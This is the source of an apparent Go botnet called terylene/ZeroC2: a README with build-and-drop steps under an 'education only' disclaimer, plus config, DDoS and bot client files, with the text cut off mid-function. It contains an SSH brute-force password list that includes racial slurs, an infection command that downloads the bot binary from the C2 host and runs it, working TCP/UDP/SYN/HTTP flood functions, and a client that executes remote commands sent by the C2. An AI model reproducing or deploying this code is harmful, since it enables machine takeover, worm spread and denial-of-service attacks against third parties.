├── LICENSE ├── README.md ├── config └── config.go ├── crypto ├── AES.go └── ChaChaPoly.go ├── generatekey └── key.go ├── go.mod ├── go.sum ├── mirai ├── components │ ├── skills │ │ └── skills.go │ ├── system │ │ └── system.go │ └── worm │ │ ├── localworm.go │ │ └── onlineworm.go ├── ddos │ └── attack.go └── terylene.go ├── server ├── components │ ├── dropper │ │ └── dropper.go │ ├── fade │ │ └── fade.go │ ├── setup │ │ └── setup.go │ └── transfer │ │ └── transfer.go ├── dropper │ └── droppayloadhere.txt ├── methods │ └── hello ├── server.go └── theme │ └── default │ └── default.go └── webserver ├── initDB └── initdb.go ├── server.go └── static └── APIinfo.txt /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 polyester 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![ZeroC2](https://github.com/BishopFox/sliver/assets/93959737/37af624e-9935-40d2-b2ff-630c53e3ec21) 2 | 3 | 4 | # WARNING 5 | **THIS IS ONLY FOR EDUCATION PURPOSES** 6 | 7 | **UTILIZING THIS FOR ACTUAL DDOS ATTACKS IS ABSOLUTELY CONDEMNED AND COULD RESULT IN SERIOUS LEGAL CONSEQUENCES** 8 | 9 | ## Still in DEVELOPMENT 10 | 11 | ZeroC2 Features: 12 | ```diff 13 | # Duplex heartbeat monitoring 14 | # connection deduplication mechanism 15 | # Made in Golang + ZeroMq 16 | # able to handle over 500k botnets 17 | # heartbeat sensor to track bots 18 | # migration and transfer 19 | # Decentralized 20 | ``` 21 | 22 | Terylene Features: 23 | ```diff 24 | # Duplex heartbeat monitoring 25 | # Retrying and Backoff mechanism 26 | # Mother priority mechanism 27 | # Made in Golang 28 | # Able to scan and spread through local network 29 | # Builtin Loader 30 | # Fast concurrent Worm spreading 31 | # UDP, TCP, UDPRAPE, Modified UDP, HTTP, SYN flood 32 | ``` 33 | 34 | Updated features 0.2.4: 35 | 36 | ```diff 37 | + fixed a RW thread issue 38 | + added custom method feature 39 | + added API webserver 40 | + optimized some codes 41 | + cleaned some codes 42 | ``` 43 | 44 | 45 | Upcoming features for 0.3.0: 46 | ```diff 47 | - docker support 48 | - clean my clusterfucked up codebase 49 | - add more methods (fr this time) 50 | ``` 51 | 52 | # [ZeroC2 wiki](https://github.com/polymaster3313/terylene/wiki/Introduction) 53 | 54 | 55 | # Debian based Setup 56 | > Ubuntu , Debian , Kali, Parrot OS 57 | 58 | ### Install ZMQ + GO package using SNAP 59 | ``` 60 | sudo apt update 61 | sudo apt upgrade 62 | sudo apt-get install libzmq3-dev 63 | sudo apt install snapd 64 | snap install go --classic 65 | ``` 66 | 67 | # Arch based setup 68 | > Arch , BlackArch 69 | 70 | ### Install ZMQ + GO package using pacman 71 | 72 | ``` 73 | sudo pacman -Sy 74 | sudo pacman -S zeromq 75 | sudo pacman -S go 76 | ``` 77 | 78 | 79 | # Red Hat based setup 80 | > CentOs, Rocky , Fedora 81 | 82 | ### Install ZMQ package using yum 83 | 84 | ``` 85 | sudo yum update 86 | sudo dnf makecache --refresh 87 | sudo yum install -y zeromq-devel 88 | sudo yum install golang 89 | ``` 90 | 91 | 92 | # ZeroC2 and terylene setup 93 | 94 | ### Clone the repo 95 | ``` 96 | git clone https://github.com/polymaster3313/terylene.git 97 | ``` 98 | 99 | ### cd into the folder 100 | ``` 101 | cd terylene 102 | ``` 103 | 104 | ### edit the configs in config folder. 105 | 106 | ``` 107 | cd config 108 | nano config.go 109 | ``` 110 | 111 | ### build terylene and ZeroC2 112 | 113 | ``` 114 | cd server 115 | sudo go build server.go 116 | cd .. 117 | cd mirai 118 | sudo go build -ldflags="-s -w" terylene.go 119 | ``` 120 | 121 | ### drop the terylene malware into the dropper 122 | 123 | ``` 124 | mv terylene ../server/dropper 125 | ``` 126 | 127 | ### start the zeroC2 128 | 129 | ``` 130 | ./server 131 | ``` 132 | 133 | >Enjoy ;) 134 | 135 | 136 | 137 | # ZeroMq and Terylene infrastructure 138 | 139 | 140 | ## duplex heart monitoring system 141 | 142 | ![ZeroC2](https://github.com/polymaster3313/Polyaccess/assets/93959737/ae1d8bba-2fa4-4446-8fee-f610667dbfd0) 143 | 144 | ## transfer and migration 145 | 146 | ![Migrationfinal(1)](https://github.com/polymaster3313/Polyaccess/assets/93959737/32e205e3-e817-4b5b-ad98-7593420b7589) 147 | 148 | # connection deduplication 149 | 150 | 151 | ![connection deduplication](https://github.com/polymaster3313/Polyaccess/assets/93959737/d3afa189-bc73-439c-b575-d2b9fbb12d59) 152 | 153 | 154 | ## connection deduplication , Backoff and Retry Demonstration 155 | 156 | https://github.com/polymaster3313/Polyaccess/assets/93959737/4315b8ee-97c6-4fa3-9be9-e0b54f3f1cf0 157 | 158 | PS: If connection timed out (5h) , Terylene will pronounce the C2 as dead, **mother priority** will be activated 159 | 160 | # Mother priority 161 | 162 | ![mother](https://github.com/polymaster3313/Polyaccess/assets/93959737/197b2d09-8b81-40b6-b73d-e5b14df6c5ff) 163 | 164 | -------------------------------------------------------------------------------- /config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | const ( 4 | //config here 5 | C2ip = "127.0.0.1" 6 | Broadcastport = "5555" 7 | Routerport = "5556" 8 | ) 9 | 10 | var ( 11 | //WARNING: these are builtin methods, dont change them 12 | Methods = []string{"UDP", "TCP", "SYN", "UDPRAPE", "HTTP", "UDP-VIP"} 13 | 14 | //WARNING: these are builtin types for custom methods , dont change them 15 | validtypes = []string{"ip", "port", "int", "string"} 16 | 17 | // config here 18 | //brute force : list of passwords 19 | PasswordMap = map[string][]string{ 20 | "root": { 21 | "", "root", "toor", "nigger", "nigga", "raspberry", "dietpi", "test", "uploader", "password", "Admin", "admin", "administrator", "marketing", "12345678", "1234", "12345", "qwerty", "webadmin", "webmaster", "maintenance", "techsupport", "letmein", "logon", "Passw@rd", "alpine", "111111", "1234", "12345", "123456", "1234567", "12345678", "abc123", "dragon", "iloveyou", "letmein", "monkey", "password", "qwerty", "tequiero", "test", "5201314", "bigbasket", 22 | }, 23 | "admin": { 24 | "", "root", "toor", "nigger", "nigga", "raspberry", "dietpi", "test", "uploader", "password", "Admin", "admin", "administrator", "marketing", "12345678", "1234", "12345", "qwerty", "webadmin", "webmaster", "maintenance", "techsupport", "letmein", "logon", "Passw@rd", "alpine", "111111", "1234", "12345", "123456", "1234567", "12345678", "abc123", "dragon", "iloveyou", "letmein", "monkey", "password", "qwerty", "tequiero", "test", "5201314", "bigbasket", 25 | }, 26 | } 27 | //blocked targets 28 | Blocked = []string{"google.com", "youtube.com", ".gov", ".edu", "127.0.0.1"} 29 | 30 | //infections command 31 | Infcommand = "wget -O file http://%s:8080/terylene && export DEBIAN_FRONTEND=noninteractive || true && apt-get install -y libzmq3-dev || true && yes | sudo pacman -S zeromq || true && sudo dnf -y install zeromq || true && chmod +x file && ./file &" 32 | 33 | //AES key MUST be 256 bits (32characters) 34 | AESkey = "#+fjWvYgh_HK8hD!dR@NG'J{y0 4 { 21 | break term 22 | } 23 | } 24 | } 25 | 26 | sshworm(active, myconfig.PasswordMap) 27 | 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /mirai/ddos/attack.go: -------------------------------------------------------------------------------- 1 | package attack 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "math/rand" 7 | "net" 8 | myhttp "net/http" 9 | "strconv" 10 | "strings" 11 | "time" 12 | ) 13 | 14 | var ( 15 | udprapepacket = []byte{0x5b, 0xa3, 0xd6, 0xee, 0x20, 0xc8, 0x48, 0x17, 0x5f, 0x3a, 0xba, 0x64, 0xfc, 0xac, 0xd3, 0x1b, 0x6e, 0x56, 0x88, 0x40, 0xf0, 0x6f, 0xd7, 0xb2, 0x22, 0xac, 0x94, 0x34, 0x2b, 0x73, 0xc6, 0xde, 0xf0, 0x78, 0x58, 0xe7, 0x2f, 0xea, 0x2a, 0x34, 0xac, 0x7c, 0xa3, 0xeb, 0x1e, 0x06, 0x98, 0xf0, 0xc0, 0x7f, 0xa7, 0x62, 0xd2, 0xfc, 0x04, 0x04, 0x3b, 0x83, 0xb6, 0x8e, 0x40, 0x28, 0x68, 0xf7, 0x3f, 0x1a, 0x5a, 0x84, 0x5c, 0x4c, 0x33, 0xfb, 0x4e, 0xf6, 0xa8, 0xa0, 0x90, 0xcf, 0xb7, 0x92, 0xc2, 0xcc, 0xf4, 0xd4, 0x8b, 0xd3, 0x26, 0x7e, 0x10, 0x58, 0xf8, 0x47, 0x8f, 0x4a, 0x4a, 0x54, 0x8c, 0x9c, 0x03, 0x4b, 0x7e, 0x26, 0x38, 0xd0, 0xe0, 0xdf, 0x07, 0xc2, 0xf2, 0x9c, 0xe4, 0x24, 0x9b, 0x63, 0x16, 0xae, 0xe0, 0x88, 0x88, 0x57, 0x1f, 0x7a, 0x7a, 0x24, 0xbc, 0xec, 0x13, 0xdb, 0xae, 0x16, 0x48, 0x00, 0x30, 0xaf, 0x97, 0xf2, 0xe2, 0x6c, 0x54, 0x74, 0x6b, 0x33, 0x06, 0x9e, 0xb0, 0x38, 0x98, 0x27, 0xef, 0x2a, 0xea, 0xf4, 0x6c, 0xbc, 0xe3, 0xab, 0x5e, 0xc6, 0x58, 0xb0, 0x00, 0xbf, 0x67, 0xa2, 0x92, 0xbc, 0xc4, 0x44, 0x7b, 0x43, 0xf6, 0x4e, 0x00, 0xe8, 0xa8, 0x37, 0x68, 0x90, 0x6e, 0xc6, 0xba, 0x75, 0x71, 0xbc, 0x4c, 0xc2, 0x6a, 0x2e, 0x41, 0xbd, 0xe0, 0x18, 0xf6, 0x9e, 0x82, 0xed, 0x89, 0x54, 0xd4, 0x2a, 0xe2, 0xd6, 0x79, 0x35, 0x98, 0x80, 0x7e, 0x36, 0x0a, 0x45, 0xc1, 0xac, 0x3c, 0x92, 0x5a, 0x3e, 0x11, 0x8d, 0xd0, 0x88, 0xc6, 0x4e, 0x92, 0xbd, 0x59, 0x04, 0x84, 0x3a, 0x92, 0xa6, 0x89, 0x05, 0x48, 0x30, 0x8e, 0xa6, 0xda, 0x55, 0xd1, 0x9c, 0xec, 0xe2, 0xca, 0x4e, 0x21, 0x9d, 0xc0, 0xb8, 0x16, 0xfe, 0x22, 0x4d, 0x69, 0x34, 0x74, 0x4a, 0x42, 0x76, 0xd9, 0x15, 0x78, 0x20, 0x9e, 0x96, 0xaa, 0xa5, 0x21, 0x0c, 0xdc, 0xb2, 0xba, 0xde, 0x71, 0xed, 0x30, 0xa8, 0xe6, 0x2e, 0x32, 0x1d, 0xb9, 0x64, 0xa4, 0xda, 0x72, 0xc6, 0xe9, 0x65, 0xa8, 0x50, 0x2e, 0x86, 0xfa, 0xb5, 0x31, 0xfc, 0x0c, 0x82, 0x2a, 0x6e, 0x81, 0x7d, 0x20, 0xd8, 0xb6, 0x5e, 0xc2, 0x2d, 0x49, 0x94, 0x94, 0xea, 0xa2, 0x16, 0xb9, 0xf5, 0xd8, 0x40, 0x3e, 0xf6, 0x4a, 0x85, 0x81, 0xec} 16 | udprapecraftedpacket2 = []byte{0x5b, 0xa3, 0xd6, 0xee, 0x20, 0xc8, 0x48, 0x17, 0x5f, 0x3a, 0xba, 0x64, 0xfc, 0xac, 0xd3, 0x1b, 0x6e, 0x56, 0x88, 0x40, 0xf0, 0x6f, 0xd7, 0xb2, 0x22, 0xac, 0x94, 0x34, 0x2b, 0x73, 0xc6, 0xde, 0xf0, 0x78, 0x58, 0xe7, 0x2f, 0xea, 0x2a, 0x34, 0xac, 0x7c, 0xa3, 0xeb, 0x1e, 0x06, 0x98, 0xf0, 0xc0, 0x7f, 0xa7, 0x62, 0xd2, 0xfc, 0x04, 0x04, 0x3b, 0x83, 0xb6, 0x8e} 17 | ) 18 | 19 | // random packets 20 | func generate_random_string(length int) string { 21 | characters := "0123456789abcdefghijklmnopqrstuvwxyz" 22 | random_string := "" 23 | for i := 0; i < length; i++ { 24 | random_string += fmt.Sprintf("%c", characters[rand.Intn(len(characters))]) 25 | } 26 | return random_string 27 | } 28 | 29 | // tcp flood 30 | func TCP(ip string, port string, dur string) { 31 | newdur, err := strconv.Atoi(dur) 32 | if err != nil { 33 | log.Println(err) 34 | return 35 | } 36 | 37 | end := time.Now().Add(time.Duration(newdur) * time.Second) 38 | for time.Now().Before(end) { 39 | tcp_socket, _ := net.Dial("tcp", fmt.Sprintf("%s:%s", ip, port)) 40 | _, err := tcp_socket.Write([]byte(generate_random_string(1000))) 41 | if err != nil { 42 | fmt.Println(err) 43 | } 44 | tcp_socket.Close() 45 | } 46 | } 47 | 48 | // udp flood 49 | func UDP(ip string, port string, dur string) { 50 | newdur, err := strconv.Atoi(dur) 51 | if err != nil { 52 | log.Println(err) 53 | return 54 | } 55 | 56 | end := time.Now().Add(time.Duration(newdur) * time.Second) 57 | for time.Now().Before(end) { 58 | udp_socket, _ := net.Dial("udp", fmt.Sprintf("%s:%s", ip, port)) 59 | _, err := udp_socket.Write([]byte(generate_random_string(1000))) 60 | if err != nil { 61 | fmt.Println(err) 62 | } 63 | udp_socket.Close() 64 | } 65 | } 66 | 67 | // syn flood 68 | func SYN(ip string, port string, dur string) { 69 | newdur, err := strconv.Atoi(dur) 70 | if err != nil { 71 | log.Println(err) 72 | return 73 | } 74 | 75 | start_time := time.Now() 76 | timeout := start_time.Add(time.Duration(newdur) * time.Second) 77 | for time.Now().Before(timeout) { 78 | conn, err := net.Dial("tcp", ip+":"+port) 79 | if err == nil { 80 | conn.Close() 81 | } 82 | } 83 | } 84 | 85 | // CRAFTED UPD flood 86 | func UDPRAPE(ip string, port string, dur string) { 87 | newdur, err := strconv.Atoi(dur) 88 | if err != nil { 89 | log.Println(err) 90 | return 91 | } 92 | packetSize := 1000 93 | 94 | packetData := strings.Repeat("\xfe", packetSize) 95 | end := time.Now().Add(time.Duration(newdur) * time.Second) 96 | for time.Now().Before(end) { 97 | conn, _ := net.Dial("udp", fmt.Sprintf("%s:%s", ip, port)) 98 | conn.Write([]byte(packetData)) 99 | conn.Write(udprapepacket) 100 | conn.Write(udprapecraftedpacket2) 101 | conn.Close() 102 | } 103 | } 104 | 105 | // http Get flood 106 | func HTTP(target string, port string, dur string) { 107 | newdur, err := strconv.Atoi(dur) 108 | if err != nil { 109 | log.Println(err) 110 | return 111 | } 112 | 113 | start_time := time.Now() 114 | timeout := start_time.Add(time.Duration(newdur) * time.Second) 115 | for time.Now().Before(timeout) { 116 | _, _ = myhttp.Get(fmt.Sprintf("%s:%s", target, port)) 117 | } 118 | } 119 | 120 | // UDP bypass 121 | func UDP_VIP(target string, port string, dur string) { 122 | newdur, err := strconv.Atoi(dur) 123 | if err != nil { 124 | log.Println(err) 125 | } 126 | 127 | data := []byte{0x13, 0x37, 0xca, 0xfe, 0x01, 0x00, 0x00, 0x00} 128 | end_time := time.Now().Add(time.Duration(newdur) * time.Second) 129 | for time.Now().Before(end_time) { 130 | conn, err := net.Dial("udp", fmt.Sprintf("%s:%s", target, port)) 131 | if err != nil { 132 | break 133 | } 134 | conn.Write(data) 135 | } 136 | } 137 | -------------------------------------------------------------------------------- /mirai/terylene.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "encoding/base64" 6 | "errors" 7 | "fmt" 8 | "log" 9 | "os" 10 | "os/exec" 11 | "path/filepath" 12 | "regexp" 13 | "strings" 14 | "sync" 15 | config "terylene/config" 16 | zcrypto "terylene/crypto" 17 | system "terylene/mirai/components/system" 18 | "terylene/mirai/components/worm" 19 | attack "terylene/mirai/ddos" 20 | "time" 21 | 22 | "github.com/fatih/color" 23 | zmq "github.com/pebbe/zmq4" 24 | ) 25 | 26 | type Method struct { 27 | name string 28 | path string 29 | flag_entries []methflag 30 | rawformat string 31 | } 32 | 33 | type methflag struct { 34 | entry string 35 | entrytype string 36 | } 37 | 38 | type postC2info struct { 39 | C2ip string 40 | rport string 41 | } 42 | 43 | type C2info struct { 44 | postC2info postC2info 45 | bport string 46 | } 47 | 48 | type conninfo struct { 49 | connid string 50 | bot string 51 | } 52 | 53 | type zmqinstance struct { 54 | zcontext *zmq.Context 55 | zdealer *zmq.Socket 56 | zsubscriber *zmq.Socket 57 | } 58 | 59 | var ( 60 | dealmut sync.Mutex 61 | custom_methods = make([]Method, 0) 62 | ) 63 | 64 | func isValidType(t string) bool { 65 | validTypes := map[string]bool{ 66 | "string": true, 67 | "ip": true, 68 | "port": true, 69 | "int": true, 70 | } 71 | 72 | return validTypes[t] 73 | } 74 | 75 | func getFreshSocket() (nzmqinst zmqinstance) { 76 | log.Println("Getting Fresh Context") 77 | ncontext, err := zmq.NewContext() 78 | if err != nil { 79 | log.Fatalln(err) 80 | } 81 | 82 | ndealer, err := ncontext.NewSocket(zmq.DEALER) 83 | if err != nil { 84 | log.Fatalln(err) 85 | } 86 | 87 | nsubscriber, err := ncontext.NewSocket(zmq.SUB) 88 | 89 | if err != nil { 90 | log.Fatalln(err) 91 | } 92 | 93 | return zmqinstance{ 94 | zcontext: ncontext, 95 | zdealer: ndealer, 96 | zsubscriber: nsubscriber, 97 | } 98 | 99 | } 100 | 101 | func recmig(zmqinst zmqinstance, postC2info postC2info, recsignal <-chan struct{}, migsignal <-chan postC2info) { 102 | select { 103 | case <-recsignal: 104 | zmqinst.zcontext.Term() 105 | log.Println("Reconnection triggered") 106 | nzmqinst := getFreshSocket() 107 | log.Println("reconnecting...") 108 | err := register(nzmqinst, postC2info, time.Minute*30) 109 | if zmq.AsErrno(err) == zmq.ETIMEDOUT { 110 | log.Println("reconnection timed out , returning to mother") 111 | nzmqinst.zsubscriber.SetLinger(0) 112 | nzmqinst.zdealer.SetLinger(0) 113 | nzmqinst.zdealer.Close() 114 | nzmqinst.zsubscriber.Close() 115 | nzmqinst.zcontext.Term() 116 | returntomother() 117 | } else { 118 | os.Exit(3) 119 | } 120 | case miginfo := <-migsignal: 121 | zmqinst.zcontext.Term() 122 | log.Println("Migration triggered") 123 | nzmqinst := getFreshSocket() 124 | RemoveAllMethods() 125 | err := register(nzmqinst, miginfo, time.Minute*30) 126 | if zmq.AsErrno(err) == zmq.ETIMEDOUT { 127 | log.Println("Migration timed out , returning to mother") 128 | nzmqinst.zsubscriber.SetLinger(0) 129 | nzmqinst.zdealer.SetLinger(0) 130 | nzmqinst.zdealer.Close() 131 | nzmqinst.zsubscriber.Close() 132 | nzmqinst.zcontext.Term() 133 | returntomother() 134 | } else { 135 | os.Exit(3) 136 | } 137 | } 138 | } 139 | 140 | func returntomother() { 141 | 142 | RemoveAllMethods() 143 | 144 | nzmqinst := getFreshSocket() 145 | 146 | err := register(nzmqinst, postC2info{C2ip: config.C2ip, rport: config.Routerport}, time.Hour*168) 147 | if zmq.AsErrno(err) == zmq.ETIMEDOUT { 148 | os.Exit(4) 149 | } else { 150 | os.Exit(4) 151 | } 152 | } 153 | 154 | func RemoveAllMethods() error { 155 | err := filepath.Walk("methods", func(path string, info os.FileInfo, err error) error { 156 | if err != nil { 157 | return err 158 | } 159 | 160 | if path == "methods" { 161 | return nil 162 | } 163 | if info.IsDir() { 164 | err := os.RemoveAll(path) 165 | if err != nil { 166 | return err 167 | } 168 | } else { 169 | err := os.Remove(path) 170 | if err != nil { 171 | return err 172 | } 173 | } 174 | return nil 175 | }) 176 | if err != nil { 177 | return err 178 | } 179 | return nil 180 | } 181 | func signalhandler(zmqins zmqinstance, C2info C2info, conninfo conninfo, subdown, dealdown chan struct{}, recsignal chan<- struct{}, submigsignal chan struct{}, dealmigsignal chan postC2info, migsignal chan postC2info) { 182 | for { 183 | select { 184 | case <-subdown: 185 | log.Println("subscriber channel down") 186 | select { 187 | case <-dealdown: 188 | log.Println("dealer channel down") 189 | recsignal <- struct{}{} 190 | break 191 | case <-time.After(time.Second * 20): 192 | log.Println("reconnecting subscriber channel") 193 | subscriber, err := zmqins.zcontext.NewSocket(zmq.SUB) 194 | if err != nil { 195 | log.Fatalln(err) 196 | } 197 | go subhandler(subscriber, C2info.postC2info.C2ip, conninfo.bot, C2info.bport, conninfo.connid, subdown, submigsignal) 198 | } 199 | case <-dealdown: 200 | log.Println("dealer channel down") 201 | select { 202 | case <-subdown: 203 | log.Println("subscriber channel down") 204 | recsignal <- struct{}{} 205 | break 206 | case <-time.After(time.Second * 20): 207 | log.Println("reconnecting dealer channel") 208 | ndealer, err := zmqins.zcontext.NewSocket(zmq.DEALER) 209 | if err != nil { 210 | log.Fatalln(err) 211 | } 212 | log.Println("reregistration initiating") 213 | 214 | err = ndealer.Connect(fmt.Sprintf("tcp://%s:%s", C2info.postC2info.C2ip, C2info.postC2info.rport)) 215 | if err != nil { 216 | log.Fatalln(err) 217 | } 218 | 219 | arch, OS, pubip, localip := system.GETSYSTEM() 220 | 221 | if err != nil { 222 | log.Fatalln(err) 223 | } 224 | 225 | log.Println("generating Conn ID") 226 | connId := system.GenerateConnID(localip, pubip) 227 | 228 | ndealer.SendMessage("reg", arch, OS, localip, pubip, connId) 229 | 230 | res, err := ndealer.RecvMessage(0) 231 | if err != nil { 232 | log.Fatalln(err) 233 | } 234 | 235 | if res[0] == "terylene" { 236 | go dealerhandle(ndealer, dealdown, migsignal, res[2]) 237 | } else { 238 | log.Fatalln("router reconnection declined") 239 | } 240 | } 241 | 242 | case <-submigsignal: 243 | log.Println("subscriber channel ready for migration") 244 | select { 245 | case postinfo := <-dealmigsignal: 246 | log.Println("dealer channel ready for migration") 247 | migsignal <- postinfo 248 | break 249 | case <-time.After(time.Second * 20): 250 | log.Println("dealer channel not ready for migration") 251 | log.Println("reconnecting to subscriber") 252 | subscriber, err := zmqins.zcontext.NewSocket(zmq.SUB) 253 | if err != nil { 254 | log.Fatalln(err) 255 | go subhandler(subscriber, C2info.postC2info.C2ip, conninfo.bot, C2info.bport, conninfo.connid, subdown, submigsignal) 256 | } 257 | } 258 | case postinfo := <-dealmigsignal: 259 | log.Println("dealer channel ready for migration") 260 | select { 261 | case <-submigsignal: 262 | log.Println("subscriber channel ready for migration") 263 | migsignal <- postinfo 264 | case <-time.After(time.Second * 20): 265 | log.Println("subscriber channel not ready for migration") 266 | log.Println("reconnecting to dealer") 267 | ndealer, err := zmqins.zcontext.NewSocket(zmq.DEALER) 268 | if err != nil { 269 | log.Fatalln(err) 270 | } 271 | log.Println("reregisteration initiating") 272 | 273 | err = ndealer.Connect(fmt.Sprintf("tcp://%s:%s", C2info.postC2info.C2ip, C2info.postC2info.rport)) 274 | arch, OS, pubip, localip := system.GETSYSTEM() 275 | 276 | if err != nil { 277 | log.Fatalln(err) 278 | } 279 | 280 | log.Println("generating Conn ID") 281 | connId := system.GenerateConnID(localip, pubip) 282 | 283 | ndealer.SendMessage("reg", arch, OS, localip, pubip, connId) 284 | 285 | res, _ := ndealer.RecvMessage(0) 286 | 287 | if res[0] == "terylene" { 288 | go dealerhandle(ndealer, dealdown, migsignal, res[2]) 289 | } else { 290 | log.Fatalln("router reregistration declined") 291 | } 292 | } 293 | } 294 | } 295 | } 296 | 297 | func register(zmqins zmqinstance, postinfo postC2info, timeout time.Duration) error { 298 | 299 | RemoveAllMethods() 300 | 301 | dealer := zmqins.zdealer 302 | subscriber := zmqins.zsubscriber 303 | 304 | err := dealer.Connect(fmt.Sprintf("tcp://%s:%s", postinfo.C2ip, postinfo.rport)) 305 | 306 | if err != nil { 307 | log.Fatalln(err) 308 | } 309 | 310 | subdown := make(chan struct{}) 311 | dealdown := make(chan struct{}) 312 | reconsignal := make(chan struct{}) 313 | 314 | dealmigsignal := make(chan postC2info) 315 | migsignal := make(chan postC2info) 316 | submigsignal := make(chan struct{}) 317 | 318 | if err != nil { 319 | log.Fatalln(err) 320 | } 321 | 322 | arch, OS, pubip, localip := system.GETSYSTEM() 323 | 324 | log.Println("generating Conn ID") 325 | connId := system.GenerateConnID(localip, pubip) 326 | 327 | log.Printf("registering to router %s on %s\n", postinfo.C2ip, postinfo.rport) 328 | _, err = dealer.SendMessage("reg", arch, OS, localip, pubip, connId) 329 | 330 | if err != nil { 331 | log.Fatalln(err) 332 | return err 333 | } 334 | 335 | dealer.SetRcvtimeo(timeout) 336 | 337 | res, err := dealer.RecvMessage(0) 338 | if err != nil { 339 | log.Fatalln(err) 340 | return err 341 | } 342 | 343 | if res[0] == "terylene" { 344 | log.Println("assigned as terylene") 345 | C2info := C2info{ 346 | postC2info: postinfo, 347 | bport: res[1], 348 | } 349 | conninfo := conninfo{ 350 | connid: connId, 351 | bot: res[0], 352 | } 353 | 354 | go signalhandler(zmqins, C2info, conninfo, subdown, dealdown, reconsignal, submigsignal, dealmigsignal, migsignal) 355 | go dealerhandle(dealer, dealdown, dealmigsignal, res[2]) 356 | go subhandler(subscriber, postinfo.C2ip, conninfo.bot, C2info.bport, conninfo.connid, subdown, submigsignal) 357 | recmig(zmqins, postinfo, reconsignal, migsignal) 358 | return nil 359 | } else if res[0] == "kys" { 360 | for i := 1; i < 4; i++ { 361 | _, err := dealer.SendMessage("reg", arch, OS, localip, pubip, connId) 362 | if err != nil { 363 | break 364 | } 365 | res, err := dealer.RecvMessage(0) 366 | if err != nil { 367 | break 368 | } 369 | 370 | if res[0] == "kys" { 371 | time.Sleep(time.Second * 2) 372 | } else if res[0] == "terylene" { 373 | log.Println("assigned as terylene") 374 | 375 | C2info := C2info{ 376 | postC2info: postinfo, 377 | bport: res[1], 378 | } 379 | conninfo := conninfo{ 380 | connid: connId, 381 | bot: res[0], 382 | } 383 | 384 | go signalhandler(zmqins, C2info, conninfo, subdown, dealdown, reconsignal, submigsignal, dealmigsignal, migsignal) 385 | go dealerhandle(dealer, dealdown, dealmigsignal, res[2]) 386 | go subhandler(subscriber, postinfo.C2ip, conninfo.bot, C2info.bport, conninfo.connid, subdown, submigsignal) 387 | recmig(zmqins, postinfo, reconsignal, migsignal) 388 | return nil 389 | } else { 390 | time.Sleep(time.Second * 2) 391 | } 392 | } 393 | } 394 | return err 395 | } 396 | 397 | func cmdhandler(command string, key []byte, dealer *zmq.Socket) { 398 | if command == "clear" { 399 | return 400 | } 401 | 402 | parts := strings.Fields(command) 403 | 404 | if len(parts) == 0 { 405 | log.Println("Empty command received") 406 | return 407 | } 408 | 409 | if parts[0] == "cd" { 410 | if len(parts) < 2 { 411 | output := "Invalid 'cd' command: Missing argument" 412 | encoutput, err := zcrypto.EncryptChaCha20Poly1305([]byte(output), key) 413 | if err != nil { 414 | log.Println(err) 415 | return 416 | } 417 | dealer.SendMessage("cmdE", string(encoutput)) 418 | } 419 | 420 | err := os.Chdir(parts[1]) 421 | if err != nil { 422 | output := fmt.Sprintf("Error changing directory:%s", err) 423 | encoutput, err := zcrypto.EncryptChaCha20Poly1305([]byte(output), key) 424 | if err != nil { 425 | log.Println(err) 426 | return 427 | } 428 | dealer.SendMessage("cmdE", string(encoutput)) 429 | } 430 | return 431 | } 432 | 433 | cmd := exec.Command(parts[0], parts[1:]...) 434 | 435 | stdout, err := cmd.StdoutPipe() 436 | if err != nil { 437 | fmt.Println("Error creating StdoutPipe for Cmd", err) 438 | return 439 | } 440 | 441 | if err := cmd.Start(); err != nil { 442 | encoutput, err := zcrypto.EncryptChaCha20Poly1305([]byte(err.Error()), key) 443 | if err != nil { 444 | log.Println(err) 445 | return 446 | } 447 | dealer.SendMessage("cmdE", string(encoutput)) 448 | 449 | return 450 | } 451 | 452 | // Create new reader from the pipe 453 | reader := bufio.NewReader(stdout) 454 | 455 | // Goroutine for printing the output 456 | go func() { 457 | for { 458 | output, _, err := reader.ReadLine() 459 | if err != nil { 460 | break 461 | } 462 | 463 | encoutput, err := zcrypto.EncryptChaCha20Poly1305(output, key) 464 | if err != nil { 465 | log.Println(err) 466 | continue 467 | } 468 | dealer.SendMessage("cmdS", string(encoutput)) 469 | } 470 | }() 471 | 472 | // Wait for the command to finish 473 | err = cmd.Wait() 474 | if err != nil { 475 | if err.Error() == "exit status 255" { 476 | return 477 | } 478 | output := fmt.Sprintf("Error waiting for command:%s", err) 479 | encoutput, err := zcrypto.EncryptChaCha20Poly1305([]byte(output), key) 480 | if err != nil { 481 | log.Println(err) 482 | } 483 | dealer.SendMessage("cmdE", string(encoutput)) 484 | } 485 | } 486 | 487 | func dealerhandle(dealer *zmq.Socket, dealdown chan<- struct{}, dealmigsignal chan<- postC2info, key string) { 488 | log.Println("Subscribed to the dealer socket") 489 | dealer.SetRcvtimeo(time.Second * 10) 490 | polykey, err := zcrypto.DecryptAES256(key, []byte(config.AESkey)) 491 | if err != nil { 492 | log.Fatalln(err) 493 | } 494 | for { 495 | res, err := dealer.RecvMessage(0) 496 | if err != nil { 497 | log.Printf("dealer channel: %s", err) 498 | dealer.SetLinger(0) 499 | dealer.Close() 500 | 